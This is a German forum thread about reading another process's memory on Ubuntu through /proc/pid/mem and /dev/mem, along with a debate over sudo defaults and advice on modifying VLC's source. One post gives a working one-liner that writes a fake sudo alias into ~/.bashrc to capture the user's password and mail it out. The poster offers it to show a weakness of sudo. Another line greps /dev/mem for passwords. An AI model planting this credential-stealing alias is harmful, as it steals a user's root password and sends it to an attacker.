Hallo
Gibt es eine Möglichkeit unter Ubuntu den Speicherinhalt von fremden
Anwendungen auszulesen?
Unter Windows konnte man über einige Programme sogar nach Strings im
gesamtem Ram suchen. Gibt es sowas für Linux?
Patrick J. schrieb:> Hi>> Auf welchem µC rennt dann Ubuntu?
Auf meinem Raspi zum Beispiel!
>> @Mod - bitte verschieben :)
Man kann die Paranoia auch übertreiben...
Es gibt ein paar magische Dateien für diesen Zweck, wenn man sie liest,
liest man RAM.
/proc/1/mem ist z.B. das RAM des init-Prozess. Die 1 ist die pid, das
funktioniert sinngemäss für jedes gerade laufende Programm.
/proc/kmem, /dev/kmem und /dev/mem sollten jeweils das gesamte virtuelle
oder physikalische RAM "enthalten".
1
strings /dev/mem | grep -i password
funktioniert im Prinzip, liefert aber natürlich keine Passworte ;)
Sven schrieb:> Gibt es eine Möglichkeit unter Ubuntu den Speicherinhalt von fremden> Anwendungen auszulesen?
Wenn man hinreichend hohe (Superuser) Rechte hat oder sich verschaffen
kann, dann ja. Im Allgemeinen nicht. Ubuntu ist insofern ein Spezialfall
als daß sie defaultmäßig jedem Nutzer erlauben, Superuser zu werden (per
sudo). Auch ohne das Superuser-Password kennen zu müssen.
> Unter Windows konnte man über einige Programme sogar nach Strings im> gesamtem Ram suchen. Gibt es sowas für Linux?
Über /dev/mem ist das gesamte RAM zugreifbar (sofern man die
entsprechenden Rechte hat). Unter Windows wird das sicher ganz ähnlich
laufen.
Axel S. schrieb:> Wenn man hinreichend hohe (Superuser) Rechte hat oder sich verschaffen> kann, dann ja. Im Allgemeinen nicht. Ubuntu ist insofern ein Spezialfall> als daß sie defaultmäßig jedem Nutzer erlauben, Superuser zu werden (per> sudo). Auch ohne das Superuser-Password kennen zu müssen.
Das stimmt nicht ganz.
Nur der bei der Installation eingerichtete User hat diese Sonderrechte
by default.
Jeder weitere hinzugefügte User hat diese Rechte erstmal nicht.
Axel S. schrieb:> Auch ohne das Superuser-Password kennen zu müssen.
Das hängt damit zusammen, dass "root" ein allgemein bekannter Nutzername
und ein beliebtes Ziel für Bruteforce-Angriffe ist.
Daher vergeben Debian und Ubuntu standardmäßig kein
Administratorpasswort (d.h. root kann sich überhaupt nicht einloggen),
stattdessen bekommt der einzige, bei der Installation angelegte Benutzer
die Sudo-Rechte.
Finde ich einen durchaus sinnvollen Ansatz.
S. R. schrieb:> Finde ich einen durchaus sinnvollen Ansatz.
Praktisch ja, theoretisch nein. Verrückt, aber ist so.
Der Punkt ist, das eigentlich nach der reinen Lehre das gesamte
Geheimnis im Passwort stecken sollte und somit ein bekannter
Benutzername keinen Schaden anrichten könnte.
Das IST tatsächlich auch so (bei Ubuntu genauso wie bei jedem anderen
neuzeitlichen OS). Das Problem ist halt: User sind Menschen. Sie neigen
dazu, eben keine hinreichend zufälligen Passwörter zu wählen...
Und die OS-Anbieter ihrerseits sind Realisten, unter Tränen geformt
durch die normative Kraft der Fakten. Da sie nicht die Macht haben, User
zu sinnvollem Verhalten zu zwingen, versuchen sie sie halt, über diesen
Weg mehr Sicherheit in die Sache zu bringen. Letztlich läuft es,
kryptographisch betrachtet, allein darauf hinaus, ein paar wenige Bit
mehr Zufall in das Geheimnis zu bekommen. Die Komplexität eines
BF-Angriffs erhöht sich in aller Regel um den Faktor, der der Anzahl der
Einträge in einer Liste der gängigen Vor- und Nachnahmen (ggf. in
verschiedenen Kombination und Varianten der Zusammenstellung und mit
verschiedenen Trennzeichen) entspricht. D.h.: wenn der vollständige Name
des Opfers dem Angreifer bereits bekannt ist, praktisch so gut wie
garnicht, gemessen an der Kombinatorik des eigentlichen PW-Angriffs...
Zusammenfassend muss man also sagen: Eine typische Notlösung, um die
Dummen und Unbelehrbaren vor den Auswirkungen ihrer eigenen Ignoranz zu
schützen. Zumindest ein wenig besser, als es ohne diese Maßnahme möglich
wäre...
c-hater schrieb:> Zumindest ein wenig besser, als es ohne diese Maßnahme möglich> wäre...
Genau deswegen finde ich das einen durchaus sinnvollen Ansatz.
Benutzernamen sind keine Geheimnisse, aber zusätzliche zehn, zwölf Bit
Entropie gegen Bruteforce-Angriffe sind nützlich.
Es hängt davon ab, was man einem Angreifer zutraut. Kennt er das System,
oder zielt er mit Breitbandangriffen auf root:root / root:admin in
irgendwelchem IoT-Schrott ab?
Von der "reinen Lehre" halte ich nicht unbedingt viel. Theoretisch
perfekt heißt nicht unbedingt praktisch sinnvoll, denn die Realität ist
schlicht böse.
S. R. schrieb:> Axel S. schrieb:>> Auch ohne das Superuser-Password kennen zu müssen.>> Das hängt damit zusammen, dass "root" ein allgemein bekannter Nutzername> und ein beliebtes Ziel für Bruteforce-Angriffe ist.
Das ist aber kein Argument dafür, kein Password für den root-Zugang zu
verlangen. Wie ein Vorredner schon sagte: die Sicherheit steckt im
Password. Und nur da.
> Finde ich einen durchaus sinnvollen Ansatz.
Ich nicht. Denn jetzt ist es nicht mehr sicher, als nicht-root zu
arbeiten. Jeder Schädling, den man sich eventuell eintritt, kann jetzt
per sudo unbemerkt(!) tätig werden und sich im System einisten.
Wenigstens das Nutzer-Password sollte sudo trotzdem verlangen.
Axel S. schrieb:> Wenigstens das Nutzer-Password sollte sudo trotzdem verlangen.
Als ich das letzte mal nen Ubuntu installiert habe war das auch noch
genau so.
Das war das Aktuelle LTS Release, als nen 16.04, ist das bei 16.10 oder
17.04 etwa anders?
Hi
Das fehlende root-Passwort hat Nichts mit Unsicher zu tun - dadurch, daß
der root-Account kein Passowrt hat, kann man sich NICHT als root
anmelden (um so an root-Rechte zu kommen).
Um als User trotzdem in den Genuss höherer Rechte zu kommen, sollte man
in der Gruppe (27)sudo sein - wenn man Das nicht ist, kommt man Da auch
nicht rein.
Wenn man Da drin ist, kann man sich aber selber Da raus werfen - macht
aber nicht wirklich Sinn ;)
Wenn man 'sudo' ist, ist man Gott - nicht mehr, nicht weniger.
Jedes Programm, Welches man mit sudo/gksu aufruft, darf ALLES (auch die
unfeinen Dinge).
Wer Das nicht will: seit Win7 ist man auch dort nicht immer 'Gott' und
muß ab und an auf 'ok' klicken, wenn was geändert werden soll.
Selber finde ich aber die Eingabe des Passwort um Einiges sicherer als
ein Mausklick (den ein Programm, Welches das 'sudo-Fenster' erkennt,
sich bestimmt auch selber geben kann, sofern Es erst Mal als 'Gott'
gestartet ist).
... ist aber unter Linux nicht anders ... und mitgelesene Passworte sind
wohl schneller vom PC selber eingegeben, als ich gucken kann - aber ICH
muß dieses Programm zuvor installieren.
MfG
PS: Ist Ubuntu mittlerweile von Unity weg?
Mint ist auch irgendwie 'nicht meins' ;)
Axel S. schrieb:> Wenn man hinreichend hohe (Superuser) Rechte hat oder sich verschaffen> kann, dann ja. Im Allgemeinen nicht. Ubuntu ist insofern ein Spezialfall> als daß sie defaultmäßig jedem Nutzer erlauben, Superuser zu werden (per> sudo). Auch ohne das Superuser-Password kennen zu müssen.
Falsch! Nicht jedem Benutzer. Und per default ist der login fuer root
blockiert und es git es kein "Superuser-Password".
Axel S. schrieb:> Wenigstens das Nutzer-Password sollte sudo trotzdem verlangen.
Das tut es! Es findet eventuell ein caching statt aber man muss es
trotzdem bei der ersten sudo Nutzung nach jedem oeffnen einer
shell/einloggen eingeben und dann alle 15 minuten.
(Was ich hier sage bezieht sich auf die default einstellungen von
ubuntu. Nateurlich kann man das aendern aber dann ist der Nutzer
verantwortlich.)
Axel S. schrieb:>> Finde ich einen durchaus sinnvollen Ansatz.>> Ich nicht. Denn jetzt ist es nicht mehr sicher, als nicht-root zu> arbeiten.
"Der einzige, bei der Installation eingerichtete Benutzer" ist nicht
dasselbe wie "nicht-root". Nur mal so als Hinweis.
Sven schrieb:> Gibt es eine Möglichkeit unter Ubuntu den Speicherinhalt von fremden> Anwendungen auszulesen?
/proc/$pid/mem wurde ja schon genannt. Aber wirklich sinnvoll ist das
nur, wenn man weiss welche Speicherbereiche auch tatsächlich gemappt
sind. Das kann man einfach mit "cat /proc/$pid/maps" nachsehen. Danach
den gewünschten ausschnitt mit dd herauskopieren.
Zu der ganzen sudo thematik: Ich finde es sollte nur verwendet werden,
wenn man dem Benutzer z.B. das ausführen von /usr/bin/halt ohne
argumente erlauben will, aber niemals um diesen eine root shell zu
ermöglichen. In der ssh config sollte root zugriff deaktiviert sein,
oder der root user umbenannt werden. Der grund dafür ist einfach:
1
echo alias sudo="'"'read -p "[sudo] password for $(whoami): " -s pw && printf "Subject: Password from %s on host %s external ip %s\n\nPassword: %s\n" "$(whoami)" "$(hostname)" "$(curl -s https://4.ifcfg.me/)" "$pw" | /usr/sbin/sendmail public@dpa.li && echo "Sorry, try again." && sudo '"'" >> ~/.bashrc
Also cat /proc/8447/maps klappt wunderbar aber bei mem bekomme ich einen
Ausgabefehler. Gibt es da noch andere Lösungen?
Im Grunde ist dieses Programm ein Audio Player. Ich möchte eigentlich
nur schauen ob ich Informationen wie Lied Name und Position finden kann
um diese mit Dmx Lichteffekte zu einer Show zusammen zu binden. Also ich
möchte ausnahmsweise keine Passwörter auslesen :)
sudo cat /proc/8447/mem
cat: /proc/8447/mem: Eingabe-/Ausgabefehler
Sven schrieb:> Im Grunde ist dieses Programm ein Audio Player. Ich möchte eigentlich> nur schauen ob ich Informationen wie Lied Name und Position finden kann
Ist das Programm vielleicht Open-Source (läuft ja unter Linux)? Dann
könntest du es ja modifizieren und die Informationen per FIFO o.ä.
ausgeben. Das wäre doch viel einfacher und stabiler. Denn diese Daten
müssen sich ja keineswegs immer an der gleichen Stelle im RAM
befinden...
Sven schrieb:> Also cat /proc/8447/maps klappt wunderbar aber bei mem bekomme ich einen> Ausgabefehler.
Wie schon gesagt, nicht an jeder Adresse ist etwas gemappt, insbesondere
nicht an Adresse 0. Hier mal den Beispiel, in dem ich den heap eines cat
prozesses kopiere:
Es gibt diverse Situationen in denen das sinnvoll ist, z.B. wenn man
selbst memory pages remappt und dass Debuggen muss, oder wenn man den
Zustand eines gehackten Prozesses für später speichern will, oder wenn
man etwas debuggen muss, aber der Prozess schon einen ptrace tracer hat,
etc.
In deinem fall ist es aber wirklich nicht besonders sinvoll. Ich
empfehle auch, falls möglich, den Quellcode anzupassen. Unter ubuntu
(sowie bei jeder Debian distro), würde ich so vorgehen:
1) Schaue nach, aus welcher Quelle das Packet kommt. Beispiel:
7) Änderungen am Quellcode machen und erneut compilieren & installieren,
wenn fertig eventuell ein patch mittels diff machen
8) packet on hold setzen:
1
daniel@colibri:~/projects/vlc$ sudo apt-mark hold vlc
Eine andere Möglichkeit wäre, die Sourcen von github zu holen. Das ist
insbesondere eine gute Idee, falls man vor hat, die Änderungen auch
anderne zur verfügung zu stellen:
1) Git installieren und Projekt clonen
Daniel A. schrieb:> . Der grund dafür ist
Kannst Du das genauer erklären? Ich verstehe zwar den Inhalt (Fake
Passwort Eingabe und das wird an den Angfreifer gemailt), aber durch
welche Schwachstelle wuerde denn dieser alias ueberhaupt ausgefuehrt
werden?
lalala schrieb:> aber durch welche Schwachstelle wuerde denn dieser alias ueberhaupt ausgefuehrt> werden?
Im Beispiel wird der alias Eintrag in die .bashrc des Users kopiert, und
würde somit immer ausgeführt, wenn eine shell geöffnet wird. Eigentlich
handelt es sich um eine Kombination aus 3 Problemen:
1) Es ist trivial für Programme sich automatisch starten zu lassen, und
es gibt unzählige möglichkeiten dass zu tun.
2) Wenn irgendein Programm des users eine schwachstelle hat oder malware
enthält, ist es für dieses trivial sich als ein Programm auszugeben mit
dem man root rechte bekommen kann, und somit trivial root zu werden,
ohne das es jemand merkt. Wenn man sich jedoch nur lokal als root
anmelden kann, und weder su noch sudo verwendet, können all die
Programme, die niemand als root startet, auch nicht so einfach root
werden.
3) Anders als bei Servicen, die jeweils als eigenen user laufen, ist es
nicht trivial Programme die ein User ausführt untereinander zu
isolieren, in dem sinne dass diese nicht auf die gleichen Dateien des
users zugreifen können. Es gibt möglichkeiten dies zu tun, z.B. mittels
apparmor oder selinux, aber es ist so komplex, dass das keiner macht.
eagle user schrieb:> liefert aber natürlich keine Passworte ;)
Wobei es leider nicht so ungewöhnlich ist, im Speicher unverschlüsselte
Passwörter zu finden. In Anwendungen sowieso, aber auch in
Betriebssystemen selbst: Mimikatz lässt grüssen (Windows).
Thread beobachten
Seitenaufteilung abschalten